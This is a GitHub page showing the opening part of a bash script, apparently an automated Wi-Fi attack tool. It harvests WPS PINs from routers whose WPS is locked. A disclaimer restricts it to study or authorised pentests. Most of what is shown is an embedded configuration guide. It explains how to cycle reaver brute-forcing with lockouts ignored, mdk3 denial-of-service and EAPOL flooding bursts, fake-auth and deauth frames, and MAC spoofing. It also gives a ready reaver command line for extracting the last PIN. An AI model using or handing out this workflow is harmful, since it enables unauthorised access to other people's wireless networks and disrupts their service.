-
Notifications
You must be signed in to change notification settings - Fork 15
/
VMR-MDK-K2-2016R-011x9.sh
8032 lines (5463 loc) · 220 KB
/
VMR-MDK-K2-2016R-011x9.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/bash
# This program is free software; you can redistribute it and/or modify it under the terms of
# the GNU General Public
# License as published by the Free Software Foundation; either version 2 of the License, or
# any later version.
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\
# without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public
# License for more details.
# You should have received a copy of the GNU General Public License along with this program;
# if not, write to the
# Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
# #--------------------------------------------------------------------------------------------------------------------
#
# Disclaimer: This script is intended for use only for private study or during an authorised
# pentest. The author bears no responsibility for malicious or illegal use.
#
#
# !!!!!!!Thanks to Vulpi author of pwnstar9.0 who's scripts taught us so much!!!!!!!
##############################################
# ANSI code routines from Vulpi author of
# PwnStar9.0
txtrst="\e[0m" # Text reset
warn="\e[1;31m" # warning red
info="\e[1;34m" # info blue
infod="\e[0;34m"
q="\e[1;32m" # questions green
inp="\e[1;36m" # input variables magenta
yel="\e[1;33m" # typed keyboard entries
bold="\033[1m" # bold text
normal="\033[0m" # normal text
#Under=\033[4mtype\033[0m\033[1;32m
##############################################
#List of main fuctions
#IFCONFIG_TYPE_fn() Corrects ifconfig text output differences between K1 K2 K2016 rolling
#MDKMENU_fn() Mdk Dropdown Menu for quick reference
#DDOS_fn()
#CONFIG_ADJUST_fn()
#CONFIG_DROP_fn() Dead DNA
#CONFIG_WRITE()
#airmon-old_fn()
#PDDSA_fn()
#MONMAC_fn()
#cleanup()
#control_c()
#PINFOUND_fn()
#ASSOC_CLIENT_fn()
#AIRDASSOC_fn()
#MACBLOCK_fn()
#AIREPLAY_fn()
#SELECT_DEVICE_fn()
#BOOST_DEVICE_fn()
#SELECT_MONITOR_fn()
#MACERROR_HANDEL_fn()
#MANUAL_SELECT_fn()
#ASSGNERROR_HANDEL_fn()
#REAVER_MENU_fn()
#WPS_PINHELP1_fn()
#TIMING_LOCKED_fn()
#WPS_DEFAULTPINS_fn()
#MACBLOCKCHOICE_fn()
#R_BOOLEANS_fn()
#STARTPIN_BOOLEANS_fn()
ADVANMON=y
ADVAN_TIME=120
AP_HIDDEN=ZZZ
AP_HIDDENTEST=ZZZ
CHANNEL_LOCK=ZZZ
CHANNEL_MAN=0
COUNTTEST=ZZZ
DEVTEST=ZZZ
ENTER_NAMETEST=ZZZ
ERAS=ZZZ
ERASTEST=ZZZ
EVTEN=0
LIVE1=180
MONTEST=ZZZ
NAME1=XXX
NOTEMPT=ZZZ
PIN_MANTEST=ZZZ
PIN_SELECTEST=ZZZ
PIXIE_OVERIDE=0
SOURCEGOODTEST=ZZZ
SOURCENAMETEST=ZZZ
STARTPIN=12345670
USE_LONG1=ZZZ
USE_PIN1=XXX
USE_PIN1TEST=ZZZ
USE_PIXIE=ZZZ
USE_R1=ZZZ
WASHNAMETEST=ZZZ
WPS_COM=ZZZ
WPS_COMTEST=ZZZ
WPS_PIN1=00000000
WPS_SIZE1=8
MDKTXT1="DOS1/DOS2/DOS3"
MDKTXT2="EAPOL PF1/EAPOL PF2/EAPOL PF3"
MDKTXT3="DOS1/DOS2/EAPOL PF3"
MDKTXT4="DOS1/EAPOL PF2/EAPOL PF3"
MDKTXT5="EAPOL Logoff1/EAPOL Logoff2/EAPOL Logoff3"
MDKTXT6="DOS1/DOS2/EAPOL Logoff3"
MDKTXT7="EAPOL Logoff1/EAPOL Logoff2/DOS3"
MDKTXT8="EAPOL Logoff1/EAPOL Logoff2//EAPOL PF3"
MDKTXT9="EAPOL Logoff1/EAPOL PF2/EAPOL PF3"
MDKTXT10="EAPOL Logoff1/EAPOL PF2/DOS3"
MDKTXT11="Tkiptun-ng1/Tkiptun-ng2/Tkiptun-ng3"
MDKTXT12="Invalid SSID1/Invalid SSID2/Invalid SSID3"
MDKTXT13="DOS1/Invalid SSID2/Invalid SSID3"
MDKTXT14="DOS1/DOS2/Invalid SSID3"
MDKTXT15="DOS1/EAPOL Packet Flooding 2/Invalid SSID3"
clear
echo ""
echo -e "$info VMR-MDK-K2-2016R-011x9.sh(Kali2.0 & 2016R Only)"
echo ""
echo -e "$yel |||||||||||||||||||||||||"
echo -e "$yel ||$info WPS PIN JAIL BREAK$yel ||"
echo -e "$yel |||||||||||||||||||||||||"
echo ""
echo -e "$info In Memory of Alan M. Turing and the work of Betchly Park"
echo -e "$info If you eliminate the wrong solutions you are left with the right answer."
echo ""
echo -e "$info All Thanks To Vulpi, Wn722, Slim 76, Soxrok2212"
echo ""
echo -e "$info Inspired By The Band SRC"
echo -e "$info Next To Milestones On The Plain Of Jars"
echo -e "$info In Undertaking This Work We Were"
echo -e "$info Up All Night Near The Hall Of The Mountain King"
echo ""
echo -e "$info A Musket Team Special Case WPS Pin Harvester"
echo -e "$warn !!!! For USE WITH KALI 2.0 & 2016.1R !!!!"
echo -e "$info Read Help Comments in$yel configfiledetailed$info Before Employing"
echo -e ""
echo -e "$yel -->$info MANUALLY REMOVE THRU A TERMINAL WINDOW ANY MONITORS MADE WITH$yel<--"
echo -e "$yel -->$info THE NEWER AIRMON-NG (i.e. wlan0mon etc) BEFORE PROCEEDING $yel<--$txtrst"
echo -e "$yel -->$info Network Manager will be stopped to allow reaver to function$yel<--$txtrst"
while true
do
echo -e "$inp Press $yel(y/Y)$inp to continue...."
echo -e " Press $yel(n/N)$inp to abort!!..Press any other key to try again:$txtrst"
read CONFIRM
case $CONFIRM in
y|Y|YES|yes|Yes) break ;;
n|N|no|NO|No)
echo Aborting - you entered $CONFIRM
exit
;;
esac
done
echo -e "$info You entered $CONFIRM. Continuing ...$txtrst"
sleep 3
clear
#~~~~~~~~~~Start Configfile Start~~~~~~~~~~#
IFCONFIG_TYPE_fn()
{
# Note ifconfig text output for kali2016rolling has been altered
# Any routines requiring the use of text output must be altered
# Written as fn for portability into other MTeam prog.
iftype=$(ifconfig -a | grep -e wlan -e eth -e ath | awk '{if ($1 == "ether") {print $1;exit;}}')
if [ $iftype == "ether" ]; then
ifselect=new
else
ifselect=old
fi
}
CONFIG_WRITE()
{
CONFIG_SELECT=$(echo -e "#
#configfiledetailed for VMR-MDK-K2-011x8.sh
#
# The configfiledetailed is a configuration file to be used with VMR-MDK-K2-011x8.sh ONLY
# You can change the name to match your targets and store all config files in the
# VARMAC_CONFIG folder. Configuration files must be located in the VARMAC_CONFIG folder only!
# You can have as many config files as you wish. During program setup you will be given the
# option to choose which config file you wish to employ against the targetAP chosen and alter
# the file to meet conditions seen.
#
# This is a special case program meant to attack routers showing a locked WPS state.
# The script can be used against routers with unlocked WPS systems by setting
# PAUSE=120. The LIVE1= can be set to any length as the situation requires. The use of mdk3
# against WPS open systems is case by case but usually NOT required. To not use MDK set
# MDKTYPE1=0 and MDKLIVE=0.
#
# In general a WPS locked router should show the following when attacked for pin
# harvesting to be successful.
#
# 1. The router allows pin harvesting then locks OR shows a locked state but allows
# limited pin collection then stops providing pins.
# 2. Router is then DDOSed with mdk3.
# 3. After being DDOSed, the router may show a locked state, but allows further pin
# harvesting before pin collection again halts.
# 4. If further DDOSed with mdk3, another series of WPS pins can be harvested.
#
# This script is proof of concept and allows only one(1) target AP to be loaded in the
# configuration file. Due to the complex series of commands, only an automated approach has
# any chance of breaking WPS locked routers which exhibit this flaw. This scipt was developed
# in real-time against routers showing this flaw and all were cracked.
#
# Running VMR-MDK-K2-011x8.sh
#
# Remove any monitors made with the newer airmon-ng (i.e. wlan0mon) thru a terminal window.
#
# Make sure you have allowed executing file as a program. Go to the properties of the
# file, open a terminal window and type:
#
# chmod 755 VMR-MDK-K2-011x8.sh .
#
# You can place in root/ open a terminal window and type ./VMR-MDK-K2-011x8.sh or place
# in user/bin/ and type VMR-MDK-K2-011x8.sh in a terminal window.
#
# At script start the program will open wash and scan for targetAPs. When a target AP of
# interest has been found, follow prompts and the script will continue. A list of numbered
# targets will appear. Select the line number of the target you wish to attack. Once you
# select your target the script will write a configuration file to the /root/VARMAC_CONFIG/
# folder with the file name of the router (ESSID) followed by the mac address. If the
# file exists it will not overwrite the file. You can select this file or choose a different
# one. Suggest you keep one file per target. IF you use and then not use --dh-small / -S
# reaver may reset the pin count and the attack must be restarted.
#
# When you select the configuration you wish to use. Details of the config file will appear
# on the screen. You can make any changes thru the menu. Later you can adjust the setting
# in this file while the program is running with leafpad. Open the file, make your changes,
# save the file, and the changes will take effect at the start of stage 2,3 and 4.
#
# The Attack Cycle is divided into four(4) stages
#
# Stage One - Scan for targetAP availability
# Stage Two - Reaver pin collection
# Stage Three - Mdk3 DDOS
# Stage Four - Wash scan for router recovery and pixiewps1.1 test forWPS pin
#
# Attack Cycle Overview
#
# All program stages are time based to force the program to cycle.
#
# 1. Reaver attacks the router as selected by the user. There is a -L ignore locked state
# embedded in ALL reaver command lines. Reaver will never report the router is locked. It
# can be inferred by a lack of pin collection only or during the wash scan Stage IV.
# 2. Reaver shuts down as per time in LIVE1= as selected by the user in the config file.
# 3. The program then attacks the router with mdk3 for the time selected in the config file.
# There are 15 different mdk3 combinations. The default is number three(3).
# 4. Program then pauses while wash scans all channels, allowing the router to recover.
# Just prior to the Wash scan, pixiewps1.1 can test the log file for the WPS pin.
# 5. The mac address is then changed or renewed and reaver restarted and the cycle continues.
# 6. If the WPS pin is found it will be loaded into reaver automatically
# 7. Users can alter the configuration file as the program is running to
# meet with the Routers response and conditions as seen.
#
# CONFIGURATION ENTRIES START BELOW
#
# CHANNEL1= is the channel of targetAP1
#
# MDK3 may cause the router to switch channels therefore:
#
# Enter channel number zero(0) ONLY for WPS locked router or if mdk3 is employed.
#
# When CHANNEL1=0 the program will set the channel automatically.
#
###=========================
CHANNEL1=0
###=========================
#
# The -r, --recurring-delay=<x:y> command
# You MUST either enter a y or n in this block
# i.e. Sleep for y seconds every x pin attempts.
# You can choose to run Reaver with or without the -r command.
# To use -r x:y commands with reaver enter y after the USE_R= (ie USE_R=y).
# To NOT use the -r command enter n after the USE_R= (ie USE_R=n).
# If -r commands are to be used you MUST enter the x and y entries
# In the -r x:y below the x = RX1 and y = RY1 for targetAP1 (ie RX1=3 RY1=15).
#
# Enter y or n below
###=========================
USE_R1=y
###=========================
#
# Enter number of requests RX1 and rest period RY1 in seconds
###=========================
RX1=2
#
RY1=15
###=========================
#
# LIVE1= is the length of time in seconds the reaver attack will be conducted against the
# targetAP. You can set the length of time dependent on the reaction seen by the targetAP.
#
# Enter time in seconds not less than 120 for normal operations below;
###=========================
LIVE1=120
###=========================
#
# This program contains a reaver command line meant to be used against targetAPs which are
# at extreme range. If you have a RSSI(i.e. relative signal strength indicator ) showing a
# number greater then 72, change the USE_LONG1=n to USE_LONG1=y and give it a try..
# Furthermore when routers are locked BUT still provide pins, this command line is what has
# been seen to obtain pins when no other commmand lines were effective.
# USE FOR WPS LOCKED ROUTERS
# The default is y
# (i.e. yes)
#
# Enter y or n below;
###=========================
USE_LONG1=y
###=========================
#
# The MDKTYPE1 variable determines the types of mdk3 to be used. The program allows 15
# different mdk3 combinations of three(3).
# Three(3) mdk3 DOS enter 1
# Three mdk3 EAPOL Packet Flooding enter 2
# Two(2)mdk3 DDOS and one(1)mdk3 EAPOL enter 3
# One(1)mdk3 DDOS and two(2)mdk3 EAPOL enter 4
# Three(3) EAPOL Logoff enter 5
# Two(2)mdk3 DDOS and one(1)mdk3 EAPOL Logoff enter 6
# One(1)mdk3 DDOS and two(2)mdk3 EAPOL Logoff enter 7
# One(1)mdk3 EAPOL Packet Flooding and two(2)mdk3 EAPOL Logoff enter 8
# Two(2)mdk3 EAPOL Packet Flooding and one(1)mdk3 EAPOL Logoff enter 9
# One(1)mdk3 EAPOL Packet Flooding, one(1)mdk3 EAPOL Logoff and one(1) mdk3 DOS enter 10
# Three(3) tkiptun-ng attacks enter 11
# Three(3) Invalid SSID attacks enter 12
# One(1) DOS and two(2) Invalid SSID attacks enter 13
# Two(2) DOS and one(1) Invalid SSID attack enter 14
# One(1) DOS, one(1) Invalid SSID and one(1) EAPOL Packet Flooding attack enter 15
#
# From the routers we have seen that respond to this approach, the third(3) choice
# seems to be the first choice. However the author of ReVdK3-r1 reports a high success with
# type 2 or pure EAPOL. Choice 4 and 14 has also shown good results.
#
# To not use DDOS set to zero(0) i.e. MDKTYPE1=0 and MDKLIVE=0
#
# Enter 0 thru 15.
####=========================
MDKTYPE1=14
####=========================
#
# The MDKLIVE variable is the length of time in seconds you wish to DDOS the router.
# Values between 12 and 20 seconds is usually effective. Many times lengths
# of 30 to 45 sec cause the router to become unresponsive.
#
# To not use DDOS set MDKTYPE1=0 and MDKLIVE=0
#
# Enter time in seconds below.
###=========================
MDKLIVE=15
###=======================
#
# This program has four(4) stages, Stage one is reaver prescan, stage 2 is reaver pin
# harvesting, stage 3 is mdk3 DDOS and stage 4 is a pause router recovery period
# with wash scan looking for the router recovery and channel used after MDK3. The
# PAUSE= sets the time to pause in Stage IV.
#
# Enter time in seconds below.
###=========================
PAUSE=90
###=========================
#
# Computer overheating due to program process load.
# Some computers notably laptops tend to overheat when countdown timers for the reaver, mdk3
# and wash processes are run. The highest load is during the mdk3 stage. If your computer
# overheats you can turn these counters on or off by adjusting the following three(3)
# control variables.
#
# Countdown timer for the reaver stage. Enter y to use and n to not use.
###=========================
REAVER_COUNT=y
###=========================
#
# Countdown timer for MDK3 stage. Enter y to use and n to not use.
#
###=========================
MDK3_COUNT=y
###=========================
#
# Countdown timer for Pause/wash stage, Enter y to use and n to not use.
#
###=========================
WASH_COUNT=y
###=========================
#
# The DAMP_MDK variable(ie Dampen MDK3) allows mdk3 to function only when targetAP
# activity is seen . During the reaver process, IF DAMP_MDK=y has been selected,
# then reaver is run for the time listed by the ADVAN_TIME variable below
# looking for targetAP activity. If no router activity is seen by the time the ADVAN_TIME
# has expired, mdk3 is suppressed to avoid disrupting the targetAP even further.
# If you simply want to run quietly till router activity is seen; then dampen
# mdk3 by entering DAMP_MDK=y. If targetAP activity is seen, then mdk3 activity will
# recommence. This variable doesnot shut off mdk3 completely. It only causes mdk3 to wait
# until targetAP function is seen.
#
# Note this variable should be y in the majority of cases.
#
# Enter y for yes or n for no.
###=========================
DAMP_MDK=y
###=========================
#
# Advanced Monitoring is controlled by the DAMP_MDK variable(ie Dampen MDK3). If
# DAMP_MDK=y is selected then ADVANCED MONITORING is activated.
# When the router is subjected to mdk3 some routers take a long time to recover. If the
# router is hit again with mdk3 before it accepts WPS pin requests it may get knocked off
# line again. To try and counter this, the script can scan reaver output looking for
# reaver association or response. If association seems to be occuring, then advanced
# monitoring is terminated and reaver live time as set by LIVE1= is started and the program
# cycles forward. If no association or router response is seen, then the program runs
# reaver till the time in the ADVAN_TIME expires.
# The Advanced Monitoring feature has 10 scanning sweeps look for router activity.
# The first two(2) scan sweeps, scans reaver file output every 15 seconds till
# 30 seconds has past looking for association or router response. The file scan then takes
# place every approx 1/8th of the ADVAN_TIME set by the user. Therefore if 800 seconds is set
# as the ADVAN_TIME, the file will be scanned approximately every 100 sec.
# Enter the maximum length of time advanced monitoring will run looking for targetAP response.
#
# Enter seconds
###==========================
ADVAN_TIME=120
###=========================
#
# The USE_AIRE1= and The USE_AIRE0= are aireplay-ng controllers
# Aireplay-ng is run concurrently with reaver to help activate router response to
# reaver pin requests, as a method of determining signal strength and to try and
# induce router activation. If reaver is channel hopping, aireplay-ng will not be activated.
# During the scan phase stage 1, which is divided into 10 scan cycles, two(2) xterm windows
# running aireplay-ng --fakeauth and --deauth can be run at the start of each of these
# scan sweeps. If no response from router is seen, these windows will close to be
# reactivated at the beginning of the next scan sweep.
# Many times routers do not respond to reaver association UNTIL activated by aireplay-ng.
# You can use --fakeauth without restraint but the use of --deauth should be limited and
# turned off once the router is functioning
#
# The USE_AIRE1=y controls aireplay-ng -1 --fakeauth
# The USE_AIRE0=n controls aireplay-ng -0 --deauth
# You can run both aireplay-ng -1 and -0 or select one and turn off the other.
#
# Enter y to activate aireplay-ng -1 --fakeauth or n to not use.
###=========================
USE_AIRE1=y
###=========================
#
# Enter y to activate aireplay-ng -0 --deauth or n to not use.
###=========================
USE_AIRE0=n
###=========================
#
# Collecting Pixiedust data - Important Considerations
# The author of Pixiedust1.1 notes that for some routers like RealTek, pixiewps cannot extract
# the pin if the --dh-small/ or -S is used in the reaver command line. Therefore for obtaining
# Pixiedust data it is probably best to not use --dh-small
# On the otherhand when confronted with a WPS locked router, it has been seen that many
# times only the use of --dh-small will slowly extract WPS pins.
#
# Best solution is to use --dh-small ie USE_DHSMALL=y and USE_FIRSTPIN=y. Reasons are
# explained below
#
# Enter y to use --dh-small or n to not use --dh-small.
###=========================
USE_DHSMALL=y
###=========================
#
# If you suspect the router is employing mac blocking you can assign a specific mac to
# reaver anytime.
# Placing n/N will allow a random mac address to be assigned. If you wish to assign a
# specific mac address enter y/Y in the MACSEL variable AND THEN ENTER the mac address you
# require in the ASSIGNMAC entry.
#
# Enter y to enter a specific mac address or n to generate random mac addresses.
# If MACSEL=y you MUST enter a valid mac address in the ASSIGN_MAC= below.
###=========================
MACSEL=n
###=========================
#
# Care must taken here when manually entering the mac address. Use the following format
# ONLY!!!! No error handeling exists if the change is made while the program is running
#
# Use HEX Characters ONLY with colons. Examples below:
# 00:11:22:33:44:55 or AE:BD:CF:10:20:DD
#
###=========================
ASSIGN_MAC=94:39:E5:D7:28:95
###=========================
#
# Pixiedust considerations:
#
# This package comes with a auxillary program call PDDSA-K2-06.sh(i.e. Pixie Dust Data Seq-
# uence Analyzer). If you want to test to see if pixiewps can obtain the WPS pin run VMR-MDK
# and obtain some data then shutdown VMR-MDK and run PDDSA-K2-06.sh from root and follow menu
# prompts. Do not run both programs concurrently. If you obtain the WPS pin runup VMR-MDK,
# select to enter the WPS pin manually and continue the attack. Read the help file
# concerning entering WPS pins and copying wpc files. This help file can be selected when the
# program menu gives the user the option to enter a WPS pin.
#
# Using Pixie Dust Data Sequence Analyzer while VMR-MDK is functioning
#
# A modified Pixie Dust Data Sequence Analyzer can be used to test each log as
# written in the /root/VARMAC_LOG folder while VMR-MDK is running. At the beginning of the
# wash scan pixiewps1.1 can test the first pixie dust data sequence in the file.
# Only one(1) sequence will be tested and brute force is not available. If you wish to test
# all the sequences or brute force the data in the file use PDDSA-K2-06.sh which is enclosed
# with this package.
# If a WPS pin is found, then the WPS pin will automatically be loaded into the reaver
# command line and the attack will continue. Users should note the pin. If you have to
# restart the attack you will need to reenter the pin thru the program prompts during
# program setup.
#
# Enter y to use pixiewps1.1 or n to not use this feature.
###=========================
USE_PIXIE=y
###=========================
#
# When routers are subjected to MDK3, or router processes are disrupted or the router
# is restarted, the WPS pin may be reset to 12345670 during the attack. Since this is the
# first pin checked, reaver will check all other pins climb to 99.99% and halt. This is why
# the 99.99% restart works. To check to see if the WPS pin has reset you can instruct the
# program to recheck the pin 12345670 every x restarts. This check doesnot use --dh-small
# thus allowing Pixiedust1.1 to work on data NOT obtained thru --dh-small
#
# Enter y/Y to check 12345670. Enter n/N to not use the feature.
###=========================
USE_FIRSTPIN=y
###=========================
#
# The RETESTPIN sets the frequency you wish to retest pin 12345670. The program cycles
# thru the four program stages. You can have reaver retest every X cycles. For example setting
# 10 in the RETESTPIN variable means every tenth restart, the program will test 12345670
# instead of continuing the brute force. If testing the first pin fails the program continues
# the brute force sequence where it left off. Live time for reaver is set to 120 seconds when
# testing pin 12345670.
#
# Enter a number greater then 0
###=========================
RETESTPIN=50
###=========================
#
# Changing Configuration Settings
#
# You can alter this file while the program is running. At the end of each of three(3)
# stages of the four stages (i.e. reaver, mdk3 and wash), the config file is reloaded.
# You can refine the attack to meet conditions seen. Just open the config file, make your
# changes and save the file. These changes will be loaded at the start of stage 2,3 and 4.
#
# Developing your attack - Initial Router Testing
#
# Each router, even routers of the same make and model have been seen to react differently.
# The first object is to discover if the router will give up pins even though wash and
# reaver indicate that the router is locked.
#
# Setting Up For Initial tests
#
# Reaver Stage One and Two - Initial Setup
# Set the reaver live time at 120 seconds and use the long reaver command line by setting
# USE_LONG1=y - You can use or not use the -r x:y function but we suggest -r 3:15.
# Remember all reaver command lines have the -L ignore locks embedded.
# Set the channel to zero(0) to allow channel hopping. Only provide a channel after you are
# 100 % sure that the router will not jump channels after the mdk3 stage or you are using
# the program to attack routers that do not lock their WPS system when mdk3 is not used.
#
# MDK3 Stage Three - Initial Setup
# Set the mdk3 live time to 20 seconds and the mdk3 type to 3.
#
# 1. Some routers are not effected by mdk3.
# 2. Some routers when hit with mdk3 shut down and do not reappear.
# 3. Some routers when hit with even a short burst of mdk3 type 3 dissappear and then
# reappear many times on a different channel and allow pin harvesting.
# 4. Some routers when subjected to long bursts of mdk3 dissappear for many minutes and
# then when reappearing may or may not allow pin collection.
# 5. After being subjected to mdk3, the router maynot respond to wash BUT when reaver
# attempts to obtain pins with aireplay-ng input, the router responds to the reaver requests
# for pins.
# 6. Start by using short bursts of mdk3 at first around 15 to 20 sec.
#
# PAUSE/Wash Scan Phase Stage Four with Pixiedust attack - Initial Setup
#
# The pause cycle allows the targetAP to recover AND scans the wash output for the
# targetAP's mac address. If the targetAP appears, the program sets the channel for reaver.
#
# If the targetAP is not found, the channel is set to 0(zero), which for this program
# means channel hopping. When reaver restarts, it automatically goes into the scan mode.
# If the targetAP doesnot respond to reaver, then mdk3 will be suppressed, if
# DAMP_MDK=y is selected..
#
# Testing the program
#
# Start the attack and let the program cycle thru the four(4) stages a few times. If you
# obtain pins try adjusting the mdk3 live time lower and increase reaver live time and
# pause time to meet with the router recovery time required. If no pins are collected
# increase the mdk3 time and see if the router will reset.
#
# The ideal attack is for the router to allow pin harvesting sometime after being
# subjected to mdk3, After a period of time the router stops providing pins until it is
# subjected to mdk3 again. Usually after mdk3 there may be a period before the router
# provides pins and many times the router changes channels.
#
# We have rarely seen the WPS system to unlock after mdk3. The only indication that mdk3
# if affecting the router is that more WPS pins are collected.
#
# WPS Default Pins
#
# Default pins can be generated during program setup. There are four(4) default pin
# generators embedded. During the setup the user is given the option to brute force all pins,
# load a specfic pin or generate default pin for selection.
#
# If you know the previous WPS Pin used by the targetAP, run that pin first before you
# brute force all 11,000 pins. When a WPA key is changed it is rare that the WPS Pin is
# also changed,
#
# Routers with WPS systems that are not locked.
#
#
# The Musket Teams 99.99% replay attack
#
# MTeams have seen cases where only using VMR-MDK and the long reaver command line
# could manage to drag pins out of some routers even when WPS was Open. In many cases using
# the USE_LONG1=y, along with very short 12 to 15 second bursts of mdk3 type 4 managed to
# slowly collect WPS pins. Usually pin collection would suddenly jump to 91% and then very
# slowly over three(3) to four(4) days pin collection would rise to 99.99% leaving only one(1)
# pin remaining. At that point, reaver would spin endlessly. To collect the last pin shut
# down VMR-MDK.
#
# Next open a terminal window and enter:
#
# reaver -i mon0 -c 1 -b xx:xx:xx:xx:xx:xx -L -E -vvv -T 1 -t 20 -d 0 -x 30
# --session=tmp/test12345670
#
# Note: According to comments in kali-linux forums he use of -vvv with the modded reaver
# for pixiedust turns on all data ouput. MTeams cannot confirm this however all command
# lines have -vvv intead of -vv.
#
# Notice we have removed the -a and -f and the -S and the --session will not disrupt the
# brute forceattack in proress
#
# Type enter. Reaver may ask you to restore the previous session? If it does
# enter (n/N ) ie NO. Reaver should start a new session and the WPS and WPA key
# may be seen in one(1) pin request by reaver.
#
# We wish to again thank soxrox2212, Wn722, Slim76 and the authors of autoreaver and
# ReVdK3-r1. We have borrowed ideas from all these sources.
#
")
if [ ! -f "/root/VARMAC_CONFIG/configfiledetailed" ]; then
echo "$CONFIG_SELECT" > /root/VARMAC_CONFIG/"configfiledetailed"
fi
if [ ! -z $CON_FILENAME1 ] && [ ! -f "/root/VARMAC_CONFIG/$CON_FILENAME1-$MACALNUM" ]; then
echo "$CONFIG_SELECT" > /root/VARMAC_CONFIG/"$CON_FILENAME1-$MACALNUM"
fi
}
#~~~~~~~~~~End Configfile End~~~~~~~~~~#
#~~~~~~~~~~~Start DDOS Dropdown Menu Start~~~~~~~~~#
MDKMENU_fn()
{
MDKMENU=$(echo -e "Menu Selection DDOS(Stage III)
No. Attack Types In Groups Of three(3)
\033[1;36m1. DOS1 - DOS2 - DOS3\033[1;0m
\033[1;37m2. EAPOL PF1 - EAPOL PF2 - EAPOL PF3\033[1;0m
\033[1;36m3. DOS1 - DOS2 - EAPOL PF3\033[1;0m
\033[1;37m4. DOS1 - EAPOL PF2 - EAPOL PF3\033[1;0m
\033[1;36m5. EAPOL LO1 - EAPOL LO2 - EAPOL LO3\033[1;0m
\033[1;37m6. DOS1 - DOS2 - EAPOL LO3\033[1;0m
\033[1;36m7. EAPOL LO1 - EAPOL LO2 - DOS3\033[1;0m
\033[1;37m8. EAPOL LO1 - EAPOL LO2 - EAPOL PF3\033[1;0m
\033[1;36m9. EAPOL LO1 - EAPOL PF2 - EAPOL PF3\033[1;0m
\033[1;37m10. EAPOL LO1 - EAPOL PF2 - DOS3\033[1;0m
\033[1;36m11. Tkiptun-ng1 - Tkiptun-ng2 - Tkiptun-ng3\033[1;0m
\033[1;37m12. Invalid SSID1 -Invalid SSID2 - Invalid SSID3\033[1;0m
\033[1;36m13. DOS1 - Invalid SSID2 - Invalid SSID3\033[1;0m
\033[1;37m14. DOS1 - DOS2 - Invalid SSID3\033[1;0m
\033[1;36m15. DOS1 - EAPOL PF2 - Invalid SSID3\033[1;0m
note: PF=Packet Flooding
LO=Log Off")
echo "$MDKMENU" > /tmp/"MDKMENU"
xterm -g 48x21-1+1 -T "DDOS Menu" -e "cat < /tmp/MDKMENU; sleep 360" &
}
#~~~~~~~~~~~End DDOS Dropdown Menu End~~~~~~~~~#
